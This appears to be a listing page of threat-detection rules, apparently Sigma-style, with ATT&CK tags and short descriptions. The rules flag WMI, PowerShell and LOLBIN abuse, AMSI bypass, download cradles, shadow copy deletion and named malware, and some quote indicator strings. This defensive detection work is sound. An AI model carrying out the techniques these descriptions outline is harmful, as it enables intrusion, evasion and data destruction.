Suspicious Script Execution From Temp Folder

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects a suspicious script executions from temporary folder

Read More
Suspicious Scripting in a WMI Consumer

Aug 12, 2024 · attack.execution attack.t1059.005 ·
Share on:

Detects suspicious commands that are related to scripting/powershell in WMI Event Consumers

Read More
Suspicious Usage of CVE_2021_34484 or CVE 2022_21919

Aug 12, 2024 · attack.execution ·
Share on:

During exploitation of this vulnerability, two logs (Provider_Name:Microsoft-Windows-User Profiles Service) with EventID 1511 and 1515 (maybe lot of false positives with this event) are created. Moreover, it appears the directory \Users\TEMP is created may be created during the exploitation. Viewed on 2008 Server

Read More
Suspicious WindowsTerminal Child Processes

Aug 12, 2024 · attack.execution attack.persistence ·
Share on:

Detects suspicious children spawned via the Windows Terminal application which could be a sign of persistence via WindowsTerminal (see references section)

Read More
Suspicious WMIC Execution Via Office Process

Aug 12, 2024 · attack.t1204.002 attack.t1047 attack.t1218.010 attack.execution attack.defense-evasion ·
Share on:

Office application called wmic to proxye execution through a LOLBIN process. This is often used to break suspicious parent-child chain (Office app spawns LOLBin).

Read More
Suspicious WmiPrvSE Child Process

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1047 attack.t1204.002 attack.t1218.010 ·
Share on:

Detects suspicious and uncommon child processes of WmiPrvSE

Read More
Suspicious WSMAN Provider Image Loads

Aug 12, 2024 · attack.execution attack.t1059.001 attack.lateral-movement attack.t1021.003 ·
Share on:

Detects signs of potential use of the WSMAN provider from uncommon processes locally and remote execution.

Read More
Suspicious XOR Encoded PowerShell Command

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1059.001 attack.t1140 attack.t1027 ·
Share on:

Detects presence of a potentially xor encoded powershell command

Read More
Suspicious ZipExec Execution

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1218 attack.t1202 ·
Share on:

ZipExec is a Proof-of-Concept (POC) tool to wrap binary-based tools into a password-protected zip file.

Read More
Symlink Etc Passwd

Aug 12, 2024 · attack.t1204.001 attack.execution ·
Share on:

Detects suspicious command lines that look as if they would create symbolic links to /etc/passwd

Read More
Sysinternals Tools AppX Versions Execution

Aug 12, 2024 · attack.defense-evasion attack.execution ·
Share on:

Detects execution of Sysinternals tools via an AppX package. Attackers could install the Sysinternals Suite to get access to tools such as psexec and procdump to avoid detection based on System paths

Read More
Sysprep on AppData Folder

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects suspicious sysprep process start with AppData folder as target (as used by Trojan Syndicasec in Thrip report by Symantec)

Read More
T1047 Wmiprvse Wbemcomn DLL Hijack

Aug 12, 2024 · attack.execution attack.t1047 attack.lateral-movement attack.t1021.002 ·
Share on:

Detects a threat actor creating a file named wbemcomn.dll in the C:\Windows\System32\wbem\ directory over the network for a WMI DLL Hijack scenario.

Read More
TAIDOOR RAT DLL Load

Aug 12, 2024 · attack.execution attack.t1055.001 detection.emerging-threats ·
Share on:

Detects specific process characteristics of Chinese TAIDOOR RAT malware load

Read More
Trickbot Malware Activity

Aug 12, 2024 · attack.execution attack.t1559 detection.emerging-threats ·
Share on:

Detects Trickbot malware process tree pattern in which "rundll32.exe" is a parent of "wermgr.exe"

Read More
TropicTrooper Campaign November 2018

Aug 12, 2024 · attack.execution attack.t1059.001 detection.emerging-threats ·
Share on:

Detects TropicTrooper activity, an actor who targeted high-profile organizations in the energy and food and beverage sectors in Asia

Read More
Turla Group Commands May 2020

Aug 12, 2024 · attack.g0010 attack.execution attack.t1059.001 attack.t1053.005 attack.t1027 detection.emerging-threats ·
Share on:

Detects commands used by Turla group as reported by ESET in May 2020

Read More
Turla Group Lateral Movement

Aug 12, 2024 · attack.g0010 attack.execution attack.t1059 attack.lateral-movement attack.t1021.002 attack.discovery attack.t1083 attack.t1135 detection.emerging-threats ·
Share on:

Detects automated lateral movement by Turla group

Read More
Turla Group Named Pipes

Aug 12, 2024 · attack.g0010 attack.execution attack.t1106 detection.emerging-threats ·
Share on:

Detects a named pipe used by Turla group samples

Read More
UAC Bypass Using IDiagnostic Profile - File

Aug 12, 2024 · attack.execution attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·
Share on:

Detects the creation of a file by "dllhost.exe" in System32 directory part of "IDiagnosticProfileUAC" UAC bypass technique

Read More
UNC2452 PowerShell Pattern

Aug 12, 2024 · attack.execution attack.t1059.001 attack.t1047 detection.emerging-threats ·
Share on:

Detects a specific PowerShell command line pattern used by the UNC2452 actors as mentioned in Microsoft and Symantec reports

Read More
UNC4841 - Barracuda ESG Exploitation Indicators

Aug 12, 2024 · attack.execution attack.persistence attack.defense-evasion detection.emerging-threats ·
Share on:

Detects file indicators as seen used by UNC4841 during their Barracuda ESG zero day exploitation.

Read More
UNC4841 - Email Exfiltration File Pattern

Aug 12, 2024 · attack.execution attack.persistence attack.defense-evasion detection.emerging-threats ·
Share on:

Detects filename pattern of email related data used by UNC4841 for staging and exfiltration

Read More
UNC4841 - Potential SEASPY Execution

Aug 12, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects execution of specific named binaries which were used by UNC4841 to deploy their SEASPY backdoor

Read More
Uncommon Child Process Of Appvlp.EXE

Aug 12, 2024 · attack.t1218 attack.defense-evasion attack.execution ·
Share on:

Detects uncommon child processes of Appvlp.EXE Appvlp or the Application Virtualization Utility is included with Microsoft Office. Attackers are able to abuse "AppVLP" to execute shell commands. Normally, this binary is used for Application Virtualization, but it can also be abused to circumvent the ASR file path rule folder or to mark a file as a system file.

Read More
Uncommon Child Process Of BgInfo.EXE

Aug 12, 2024 · attack.execution attack.t1059.005 attack.defense-evasion attack.t1218 attack.t1202 ·
Share on:

Detects uncommon child processes of "BgInfo.exe" which could be a sign of potential abuse of the binary to proxy execution via external VBScript

Read More
Uncommon Child Process Of Defaultpack.EXE

Aug 12, 2024 · attack.t1218 attack.defense-evasion attack.execution ·
Share on:

Detects uncommon child processes of "DefaultPack.EXE" binary as a proxy to launch other programs

Read More
Uncommon Child Processes Of SndVol.exe

Aug 12, 2024 · attack.execution ·
Share on:

Detects potentially uncommon child processes of SndVol.exe (the Windows volume mixer)

Read More
Uncommon One Time Only Scheduled Task At 00:00

Aug 12, 2024 · attack.execution attack.persistence attack.privilege-escalation attack.t1053.005 ·
Share on:

Detects scheduled task creation events that include suspicious actions, and is run once at 00:00

Read More
Ursnif Malware C2 URL Pattern

Aug 12, 2024 · attack.initial-access attack.t1566.001 attack.execution attack.t1204.002 attack.command-and-control attack.t1071.001 ·
Share on:

Detects Ursnif C2 traffic.

Read More
Usage Of Web Request Commands And Cmdlets

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects the use of various web request commands with commandline tools and Windows PowerShell cmdlets (including aliases) via CommandLine

Read More
Usage Of Web Request Commands And Cmdlets - ScriptBlock

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects the use of various web request commands with commandline tools and Windows PowerShell cmdlets (including aliases) via PowerShell scriptblock logs

Read More
Use of FSharp Interpreters

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects the execution of FSharp Interpreters "FsiAnyCpu.exe" and "FSi.exe" Both can be used for AWL bypass and to execute F# code via scripts or inline.

Read More
Use of OpenConsole

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects usage of OpenConsole binary as a LOLBIN to launch other binaries to bypass application Whitelisting

Read More
Use of Pcalua For Execution

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects execition of commands and binaries from the context of The program compatibility assistant (Pcalua.exe). This can be used as a LOLBIN in order to bypass application whitelisting.

Read More
Use of Scriptrunner.exe

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1218 ·
Share on:

The "ScriptRunner.exe" binary can be abused to proxy execution through it and bypass possible whitelisting

Read More
Use Of The SFTP.EXE Binary As A LOLBIN

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1218 ·
Share on:

Detects the usage of the "sftp.exe" binary as a LOLBIN by abusing the "-D" flag

Read More
Using SettingSyncHost.exe as LOLBin

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1574.008 ·
Share on:

Detects using SettingSyncHost.exe to run hijacked binary

Read More
VBA DLL Loaded Via Office Application

Aug 12, 2024 · attack.execution attack.t1204.002 ·
Share on:

Detects VB DLL's loaded by an office application. Which could indicate the presence of VBA Macros.

Read More
Visual Studio NodejsTools PressAnyKey Arbitrary Binary Execution

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1218 ·
Share on:

Detects child processes of Microsoft.NodejsTools.PressAnyKey.exe that can be used to execute any other binary

Read More
Visual Studio NodejsTools PressAnyKey Renamed Execution

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1218 ·
Share on:

Detects renamed execution of "Microsoft.NodejsTools.PressAnyKey.exe", which can be abused as a LOLBIN to execute arbitrary binaries

Read More
VMToolsd Suspicious Child Process

Aug 12, 2024 · attack.execution attack.persistence attack.t1059 ·
Share on:

Detects suspicious child process creations of VMware Tools process which may indicate persistence setup

Read More
Wab Execution From Non Default Location

Aug 12, 2024 · attack.defense-evasion attack.execution ·
Share on:

Detects execution of wab.exe (Windows Contacts) and Wabmig.exe (Microsoft Address Book Import Tool) from non default locations as seen with bumblebee activity

Read More
Wab/Wabmig Unusual Parent Or Child Processes

Aug 12, 2024 · attack.defense-evasion attack.execution ·
Share on:

Detects unusual parent or children of the wab.exe (Windows Contacts) and Wabmig.exe (Microsoft Address Book Import Tool) processes as seen being used with bumblebee activity

Read More
Weak or Abused Passwords In CLI

Aug 12, 2024 · attack.defense-evasion attack.execution ·
Share on:

Detects weak passwords or often abused passwords (seen used by threat actors) via the CLI. An example would be a threat actor creating a new user via the net command and providing the password inline

Read More
Windows Defender AMSI Trigger Detected

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects triggering of AMSI by Windows Defender.

Read More
Windows Defender Exclusions Added - PowerShell

Aug 12, 2024 · attack.defense-evasion attack.t1562 attack.execution attack.t1059 ·
Share on:

Detects modifications to the Windows Defender configuration settings using PowerShell to add exclusions

Read More
Windows Defender Threat Detected

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects actions taken by Windows Defender malware detection engines

Read More
Windows Hotfix Updates Reconnaissance Via Wmic.EXE

Aug 12, 2024 · attack.execution attack.t1047 ·
Share on:

Detects the execution of wmic with the "qfe" flag in order to obtain information about installed hotfix updates on the system. This is often used by pentester and attacker enumeration scripts

Read More
Windows Shell/Scripting Application File Write to Suspicious Folder

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects Windows shells and scripting applications that write files to suspicious folders

Read More
Windows Shell/Scripting Processes Spawning Suspicious Programs

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1059.005 attack.t1059.001 attack.t1218 ·
Share on:

Detects suspicious child processes of a Windows shell and scripting processes such as wscript, rundll32, powershell, mshta...etc.

Read More
WinSxS Executable File Creation By Non-System Process

Aug 12, 2024 · attack.execution ·
Share on:

Detects the creation of binaries in the WinSxS folder by non-system processes

Read More
WMI Event Consumer Created Named Pipe

Aug 12, 2024 · attack.t1047 attack.execution ·
Share on:

Detects the WMI Event Consumer service scrcons.exe creating a named pipe

Read More
WMIC Remote Command Execution

Aug 12, 2024 · attack.execution attack.t1047 ·
Share on:

Detects the execution of WMIC to query information on a remote system

Read More
WMIC Unquoted Services Path Lookup - PowerShell

Aug 12, 2024 · attack.execution attack.t1047 ·
Share on:

Detects known WMI recon method to look for unquoted service paths, often used by pentest inside of powershell scripts attackers enum scripts

Read More
WMImplant Hack Tool

Aug 12, 2024 · attack.execution attack.t1047 attack.t1059.001 ·
Share on:

Detects parameters used by WMImplant

Read More
WmiPrvSE Spawned A Process

Aug 12, 2024 · attack.execution attack.t1047 ·
Share on:

Detects WmiPrvSE spawning a process

Read More
Wmiprvse Wbemcomn DLL Hijack

Aug 12, 2024 · attack.execution attack.t1047 attack.lateral-movement attack.t1021.002 ·
Share on:

Detects a threat actor creating a file named wbemcomn.dll in the C:\Windows\System32\wbem\ directory over the network and loading it for a WMI DLL Hijack scenario.

Read More
Wmiprvse Wbemcomn DLL Hijack - File

Aug 12, 2024 · attack.execution attack.t1047 attack.lateral-movement attack.t1021.002 ·
Share on:

Detects a threat actor creating a file named wbemcomn.dll in the C:\Windows\System32\wbem\ directory over the network and loading it for a WMI DLL Hijack scenario.

Read More
WScript or CScript Dropper - File

Aug 12, 2024 · attack.execution attack.t1059.005 attack.t1059.007 ·
Share on:

Detects a file ending in jse, vbe, js, vba, vbs written by cscript.exe or wscript.exe

Read More
Wscript Shell Run In CommandLine

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects the presence of the keywords "Wscript", "Shell" and "Run" in the command, which could indicate a suspicious activity

Read More
WSL Child Process Anomaly

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1218 attack.t1202 ·
Share on:

Detects uncommon or suspicious child processes spawning from a WSL process. This could indicate an attempt to evade parent/child relationship detections or persistence attempts via cron using WSL

Read More
XBAP Execution From Uncommon Locations Via PresentationHost.EXE

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1218 ·
Share on:

Detects the execution of ".xbap" (Browser Applications) files via PresentationHost.EXE from an uncommon location. These files can be abused to run malicious ".xbap" files any bypass AWL

Read More
ZxShell Malware

Aug 12, 2024 · attack.execution attack.t1059.003 attack.defense-evasion attack.t1218.011 attack.s0412 attack.g0001 detection.emerging-threats ·
Share on:

Detects a ZxShell start by the called and well-known function name

Read More
Abuse of the Windows Server Update Services (WSUS) for lateral movement.

Aug 10, 2024 · attack.execution attack.lateral_movement attack.T1210 ·
Share on:

Windows Server Update Services (WSUS) is a critical component of Windows systems and is frequently configured in a way that allows an attacker to circumvent internal networking limitations. Some tools, such as SharpWSUS and WSUSpendu, support lateral movement through WSUS.This rule covers those two main tools used for that purpose.

Read More
ChromeLoader Malware Detection

Aug 10, 2024 · attack.execution attack.T1059.001 attack.persistence attack.T1176 attack.T1053.005 ·
Share on:

Detects execution of ChromeLoader malware via a registered scheduled task

Read More
Detecting Ammy Admin RMM Agent Execution

Aug 10, 2024 · attack.execution attack.persistence ·
Share on:

Detects the execution of the Ammy Admin RMM agent for remote management.

Read More
Detection of CMD Execution via AnyViewer RMM

Aug 10, 2024 · attack.execution attack.persistence ·
Share on:

Detects cmd shell execution via AnyViewer RMM agent on remote management sessions.

Read More
Detection of Suspicious triggering of ErrorHandler.cmd Execution

Aug 10, 2024 · attack.execution attack.persistence ·
Share on:

Detects the persistence mechanism of triggering ErrorHandler.cmd execution upon the execution of specific binaries inside the oobe directory.

Read More
Emotet loader execution via .lnk file

Aug 10, 2024 · attack.execution attack.T1059.006 ·
Share on:

Detects the latest emotet loader as reported by @malware_traffic. The .lnk file was delivered via phishing campaign.

Read More
Execution of ZeroLogon PoC executable

Aug 10, 2024 · attack.execution attack.lateral_movement attack.T1210 ·
Share on:

Detects the execution of the commonly used ZeroLogon PoC executable.

Read More
FakeUpdates/SocGholish Malware Detection

Aug 10, 2024 · attack.execution attack.T1059.001 ·
Share on:

Detects initial execution of FakeUpdates/SocGholish malware via wscript that later executes commands via cmd or powershell.

Read More
MOVEit exploitation

Aug 10, 2024 · attack.execution attack.T1623 ·
Share on:

MOVEit is affected by a critical vulnerability. Exploited hosts show evidence of dynamically compliling a DLL and writing it under C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\root\([a-z0-9]{5,12})\([a-z0-9]{5,12})\App_Web_[a-z0-9]{5,12}.dll. Hunting Opportunity --- Events from IIS dynamically compiling binaries via the csc.exe on behalf of the MOVEit application, especially since May 27th should be investigated.

Read More
ms-msdt for RCE - sdiagnhost.exe spawning command

Aug 10, 2024 · attack.execution attack.T1059.003 attack.T1204.002 ·
Share on:

Detecting sdiagnhost.exe executing the POC as a result of vulnerability based on ms-msdt.

Read More
ms-msdt for RCE CVE-2022-30190

Aug 10, 2024 · attack.execution attack.T1059.003 attack.T1204.002 ·
Share on:

Detecting the execution of weaponized maldoc or embedded link in outlook that uses ms-msdt scheme to execute code.

Read More
PowerShell AMSI Bypass Pattern

Aug 10, 2024 · attack.defense_evasion attack.t1562.001 attack.execution ·
Share on:

Detects attempts to disable AMSI in the commandline. It is possible to bypass AMSI by disabling it before loading the main payload.

Read More
Raspberry Robin initial execution from external drive

Aug 10, 2024 · attack.execution attack.T1059.001 ·
Share on:

Detects execution from the external drive using cmd

Read More
Raspberry Robin subsequent execution of commands

Aug 10, 2024 · attack.execution attack.T1059.001 ·
Share on:

Detects raspberry robin subsequent execution of commands from

Read More
Scheduled task executing powershell encoded payload from registry

Aug 10, 2024 · attack.execution attack.persistence attack.t1053.005 attack.t1059.001 ·
Share on:

Detects the creation of a schtask that executes a base64 encoded payload stored in the Windows Registry using PowerShell.

Read More
Ursnif Redirection Of Discovery Commands

Aug 10, 2024 · attack.execution attack.T1059 ·
Share on:

Detects the redirection of Ursnif discovery commands as part of the initial execution of the malware.

Read More
Using powershell specific download cradle OneLiner

Aug 10, 2024 · attack.defense_evasion attack.t1562.001 attack.execution T1059.001 ·
Share on:

Detects the execution of a specific OneLiner to download and execute powershell modules in memory.

Read More
AteraAgent malicious installations

Aug 2, 2024 · attack.execution attack.t1059.006 ·
Share on:

Detects potentially malicious AteraAgent installations when the IntegratorLogin parameter is used to register a non-business email.

Read More
MOFComp Execution

Aug 2, 2024 · attack.execution attack.t1546.003 ·
Share on:

Detects abuse of mofcomp to load WMI classes i.e. to create WMI event subscriptions

Read More
Nullsoft Scriptable Installer Script (NSIS) execution

Aug 2, 2024 · attack.execution attack.t1106 dist.public ·
Share on:

Detects the loading of the NSIS System plugin library, indicative of an NSIS script execution.

Read More
Nullsoft Scriptable Installer Script (NSIS) file creation

Aug 2, 2024 · attack.execution attack.t1106 dist.public ·
Share on:

Detects the creation of the NSIS System plugin library, indicative of an NSIS script execution.

Read More
Operator Bloopers Cobalt Strike Modules

Aug 2, 2024 · attack.execution attack.t1059.003 ·
Share on:

Detects use of Cobalt Strike module commands accidentally entered in the CMD shell

Read More
Scheduled task executing powershell encoded payload from registry

Aug 2, 2024 · attack.execution attack.persistence attack.t1053.005 attack.t1059.001 ·
Share on:

Detects the creation of a schtask that executes a base64 encoded payload stored in the Windows Registry using PowerShell.

Read More
Atexec.py Execution

Mar 26, 2024 · attack.s0357 attack.execution attack.t1053 attack.t1053.002 ·
Share on:

This detection analytic identifies Impacket’s atexec.py script on a target host. atexec.py is remotely run on an adversary’s machine to execute commands on the victim via scheduled task. The command is commonly executed by a non-interactive cmd.exe with the output redirected to an eight-character TMP file. Part of the RedCanary 2024 Threat Detection Report.

Read More
Bypassing Security Controls - Command Shell

Mar 26, 2024 · attack.execution attack.t1059 attack.t1059.003 attack.defense_evasion attack.t1202 ·
Share on:

Adversaries bypass controls using the Windows Command Shell in a plethora of ways, but you can detect the one we see most often with a simple combination of process execution and a corresponding command line. Part of the RedCanary 2024 Threat Detection Report.

Read More
In-memory Downloading and Compiling of Applets as Payloads

Mar 26, 2024 · attack.execution attack.t1059 attack.t1059.002 ·
Share on:

This analytic uses a single ES_EVENT_TYPE_NOTIFY_EXEC event and looks for the the execution of curl, |, or osacompile commands. Part of the RedCanary 2024 Threat Detection Report.

Read More
Mac AppleScript Input Prompt

Mar 26, 2024 · attack.execution attack.t1059 attack.t1059.002 ·
Share on:

Adversaries leverage AppleScript to try to steal the user’s login password. This analytic attempts to detect that activity via the first variation. Part of the RedCanary 2024 Threat Detection Report.

Read More
Obfuscated Commands - Command Shell

Mar 26, 2024 · attack.execution attack.t1059 attack.t1059.003 attack.defense_evasion attack.t1027 ·
Share on:

Detecting obfuscation in the command shell is relatively straightforward, but there are a lot of variations to consider when you’re developing detection coverage. Of course, the process you’re looking for will always be cmd.exe, but the corresponding command line can contain a variety of suspicious characters. The trick is finding the thresholds where the inclusion of obfuscation characters go from normal to anomalous (but benign) to suspicious enough to warrant alerting. The following pseudo-detection logic offers a good starting point for developing detection coverage for obfuscation in the command line. Part of the RedCanary 2024 Threat Detection Report.

Read More
Obfuscation and Escape Characters - Powershell

Mar 26, 2024 · attack.execution attack.t1059 attack.t1059.001 attack.defense_evasion attack.t1027 ·
Share on:

This analytic looks for the execution of a process that seems to be powershell.exe along with a corresponding command line containing the term base64. Base64 encoding isn’t inherently suspicious, but it’s worth looking out for in a lot of environments, and the following pseudo-detection logic can help detect a wide variety of malicious activity. Part of the RedCanary 2024 Threat Detection Report.

Read More
Office Products Spawning WMI

Mar 26, 2024 · attack.execution attack.t1047 attack.t1204 ·
Share on:

It’s almost always malicious when wmic.exe spawns as a child process of Microsoft Office and similar products. As such, it makes sense to examine the chain of execution and follow-on activity when this occurs. The following is a non-exhaustive example analytic that will catch some of this activity. Part of the RedCanary 2024 Threat Detection Report.

Read More
PowerShell -encodedcommand Switch

Mar 26, 2024 · attack.execution attack.t1059 attack.t1059.001 attack.defense_evasion attack.t1027 ·
Share on:

This detection analytic looks for the execution of powershell.exe with command lines that include variations of the -encodedcommand argument; PowerShell will recognize and accept anything from -e onward, and it will show up outside of the encoded bits. Part of the RedCanary 2024 Threat Detection Report.

Read More
PowerShell Base64 Encoding

Mar 26, 2024 · attack.execution attack.t1059 attack.t1059.001 attack.defense_evasion attack.t1027 ·
Share on:

This analytic looks for the execution of a process that seems to be powershell.exe along with a corresponding command line containing the term base64. Base64 encoding isn’t inherently suspicious, but it’s worth looking out for in a lot of environments, and the following pseudo-detection logic can help detect a wide variety of malicious activity. Part of the RedCanary 2024 Threat Detection Report.

Read More
Qbot Mounted Drive Script Executions

Mar 26, 2024 · attack.s0650 attack.execution attack.t1059 attack.t1204 ·
Share on:

Detects Windows Scripting Host processes (wscript.exe and cscript.exe) that are invoking the execution of common scripting formats that Red Canary has observed being used by Qbot—such as .js, .vbs, and .wsf—that are from a logical mounted drive using the drive letters D: through Z: and that have a child process. Part of the RedCanary 2024 Threat Detection Report.

Read More
Service Control Manager Spawning Command Shell with Suspect Strings

Mar 26, 2024 · attack.execution attack.t1059 attack.t1059.003 attack.t1569 attack.t1569.002 ·
Share on:

The following pseudo detector should generate an alert when services.exe spawns cmd.exe along with a corresponding echo or /c command, which are common attributes of post exploitation that we’ve seen in association with this technique. Part of the RedCanary 2024 Threat Detection Report.

Read More
SMBexec.py Execution

Mar 26, 2024 · attack.s0357 attack.execution attack.t1569 attack.t1569.002 attack.lateral_movement attack.t1021 attack.t1021.003 ·
Share on:

Similar to the wmiexec.py detector logic, this detection analytic is looking for services.exe spawning cmd.exe with a command line that has the following strings: '/Q', '/c', 'echo',' > ', ' 2>&1'. These strings are unique to the execution of smbexec.py, which allows a semi-interactive shell used through SMB. This script functions similar to psexec.py, but does not write a service binary to disk on the target machine. Part of the RedCanary 2024 Threat Detection Report.

Read More
Suspicious Commands - WMI

Mar 26, 2024 · attack.execution attack.t1047 ·
Share on:

Looking for suspicious command-line parameters is another solid indicator of malice. Certain red team and post-exploitation frameworks will spawn unique and unsigned binaries or commands remotely using the well known process call create command, and we’ve got a couple different detection methods that have alerted us to related activity over the years. Potentially suspicious WMI command switches include create, node:, process, and call. Of course, the maliciousness of these commands are context-specific, and therefore, the following may require tuning or generate high volumes of false positives. Part of the RedCanary 2024 Threat Detection Report.

Read More
Suspicious PowerShell Cmdlets

Mar 26, 2024 · attack.execution attack.t1059 attack.t1059.001 ·
Share on:

Many of our PowerShell detection analytics look for cmdlets, methods, and switches that may indicate malicious activity. The following analytic is by no means exhaustive but offers a few valuable examples of suspicious cmdlets and other oft-abused features to look out for. Part of the RedCanary 2024 Threat Detection Report.

Read More
Suspicious PowerShell Cmdlets - WMI

Mar 26, 2024 · attack.execution attack.t1047 attack.t1059 attack.t1059.001 ·
Share on:

There are numerous default PowerShell cmdlets that allow administrators to leverage WMI via PowerShell. Both adversaries and administrators use these cmdlets to query the operating system or execute commands, either locally or remotely. Cmdlets like Get-WMIObject are often used for reconnaissance. Part of the RedCanary 2024 Threat Detection Report.

Read More
Suspicious Process Lineage - WMI

Mar 26, 2024 · attack.execution attack.t1047 ·
Share on:

In general, trusted binaries and known administrative tools and processes will initiate WMI activity. As such, it makes sense to look for known bad processes launching WMI or deviations from the expected where a legitimate but unusual Windows binary spawns WMI—or spawns from it. The following is an amalgamation of several analytics that can detect a wide array of threats, ranging from red team activity to web shells to coinminers. Part of the RedCanary 2024 Threat Detection Report.

Read More
Unusual Module Loads - WMI

Mar 26, 2024 · attack.execution attack.t1047 ·
Share on:

By monitoring and detecting on module loads, you can catch a variety of different malicious activities, including defense evasion and credential theft. In cases where an adversary is using WMI for credential theft, consider looking for the execution of wmiprvse.exe (or its child processes) with unusual module loads like samlib.dll or vaultcli.dll. WMI is also a useful vehicle for bypassing application controls, and we commonly see adversaries—real and simulated–using a WMI bypass method called “SquibblyTwo.” The following pseudo-detection analytic is designed specifically to catch application control bypasses, but you can likely adapt it to detect other threats by substituting in a different DLL or by removing the command. Part of the RedCanary 2024 Threat Detection Report.

Read More
Unusual or Suspicious Process Ancestry - Command Shell

Mar 26, 2024 · attack.execution attack.t1059 attack.t1059.003 ·
Share on:

We have a lot of detection analytics that seek out suspicious or unusual process lineage spawning or spawning from cmd.exe. Many of them don’t often generate confirmed threat detections but can occasionally raise the flag on important threats, like Exchange compromises. One semi-common pattern in our library of analytics is suspicious process interactions between the Windows IIS worker process (w3wp.exe) and the command shell. The following amalgamation of analytics might help you detect a diverse array of malicious activity related to web server compromises. Part of the RedCanary 2024 Threat Detection Report.

Read More
Windows Explorer Spawning Command Shell with Start and Exit Commands

Mar 26, 2024 · attack.execution attack.t1059 attack.t1059.003 attack.t1053 ·
Share on:

This detection analytic looks for instances of explorer.exe spawning cmd.exe along with corresponding start and exit commands that we commonly observe in conjunction with a wide variety of malicious activity. Part of the RedCanary 2024 Threat Detection Report.

Read More
Windows Scheduled Task Creating Shell

Mar 26, 2024 · attack.execution attack.t1059 attack.t1059.003 attack.t1053 ·
Share on:

Adversaries frequently establish persistence by using scheduled tasks to launch the Windows Command Shell. Detecting this behavior is relatively straightforward. Part of the RedCanary 2024 Threat Detection Report.

Read More
WMI Reconnaissance

Mar 26, 2024 · attack.execution attack.t1047 attack.discovery attack.t1087 attack.t1087.002 ·
Share on:

Reconnaissance is harder to detect because it looks very similar to normal admin behavior. Even so, we detect a relatively high volume of adversaries leveraging WMI to quickly gather domain information such as users, groups, or computers in the domain. The following may help you detect related activity. Part of the RedCanary 2024 Threat Detection Report.

Read More
WMI Shadow Copy Deletion

Mar 26, 2024 · attack.execution attack.t1047 attack.impact attack.t1490 ·
Share on:

It’s not uncommon for ransomware operators to leverage WMI to delete volume shadows, significantly complicating the process for recovering access to encrypted systems and files. If you want to detect ransomware using WMI to delete shadow copies, consider looking for wmic.exe execution with command lines including shadowcopy or delete. Part of the RedCanary 2024 Threat Detection Report.

Read More
Wmiexec.py Execution

Mar 26, 2024 · attack.s0357 attack.execution attack.t1047 attack.lateral_movement attack.t1021 attack.t1021.003 ·
Share on:

This detection analytic looks for wmiprvse.exe spawn cmd.exe with the following command line, cmd.exe /Q /c ', ' 1 \\', ' 2 &1. These strings are specific to the execution of wmiexe.py, which allows a semi-interactive shell used via WMI. Part of the RedCanary 2024 Threat Detection Report.

Read More
Disable Windows Defender via Service

Feb 26, 2024 · attack.execution attack.t1569.002 attack.t1562.001 dist.public ·
Share on:

Detects Windows Defender disabling service installation

Read More
Autoit3.exe Executable File Creation Matching DarkGate Behavior

Oct 14, 2023 · attack.command_and_control attack.execution attack.t1105 attack.t1059 ·
Share on:

Detects the usage of curl.exe, KeyScramblerLogon, or other non-standard/suspicious processes used to create Autoit3.exe. This activity has been associated with DarkGate malware, which uses Autoit3.exe to execute shellcode that performs process injection and connects to the DarkGate command-and-control server. Curl, KeyScramblerLogon, and these other processes consitute non-standard and suspicious ways to retrieve the Autoit3 executable.

Read More
DarkGate Autoit3.exe Execution Parameters

Oct 14, 2023 · attack.execution attack.t1059 ·
Share on:

Detects execution of the legitimate Autoit3 utility from a suspect parent process. AutoIt3.exe is used within the DarkGate infection chain to execute shellcode that performs process injection and connects to the DarkGate command-and-control server.

Read More
Possible Impacket DCOMExec Connection Attempt - Zeek

Sep 1, 2023 · attack.s0357 attack.execution attack.lateral_movement attack.t1021 attack.t1021.003 ·
Share on:

Detects attempts to connect via DCOM Endpoints, as used by Impacket DCOMExec. This event will occur on successful or unsuccessful attempts using any of the three DCOMExec -object options.

Read More
Suspicious WebDAV LNK Execution

Aug 5, 2023 · attack.execution attack.t1059.001 attack.t1204 ·
Share on:

Detects possible execution via LNK file accessed on a WebDAV server.

Read More
Command Shell Bypassing Security Controls (RedCanary Threat Detection Report)

May 10, 2023 · attack.execution attack.t1059.003 ·
Share on:

Detects command line strings which indicate potential attempts to bypass controls. Part of the RedCanary 2023 Threat Detection Report.

Read More
Command Shell Obfuscated Commands (RedCanary Threat Detection Report)

May 10, 2023 · attack.execution attack.t1059.003 ·
Share on:

Detects command line strings with high numbers of suspicious characters, potentially for obfuscation. Part of the RedCanary 2023 Threat Detection Report.

Read More
Command Shell Suspicious Process Ancestry (RedCanary Threat Detection Report)

May 10, 2023 · attack.execution attack.t1059.003 ·
Share on:

Detects IIS worker process spawning command shell. Part of the RedCanary 2023 Threat Detection Report.

Read More
Explorer Spawning CMD With Start/Exit Commands (RedCanary Threat Detection Report)

May 10, 2023 · attack.execution attack.t1059.003 ·
Share on:

Detects instances of explorer.exe spawning cmd.exe along with corresponding start and exit commands that we commonly observe in conjunction with a wide variety of malicious activity. Part of the RedCanary 2023 Threat Detection Report.

Read More
Office Products Spawning WMI (RedCanary Threat Detection Report)

May 10, 2023 · attack.execution attack.t1047 ·
Share on:

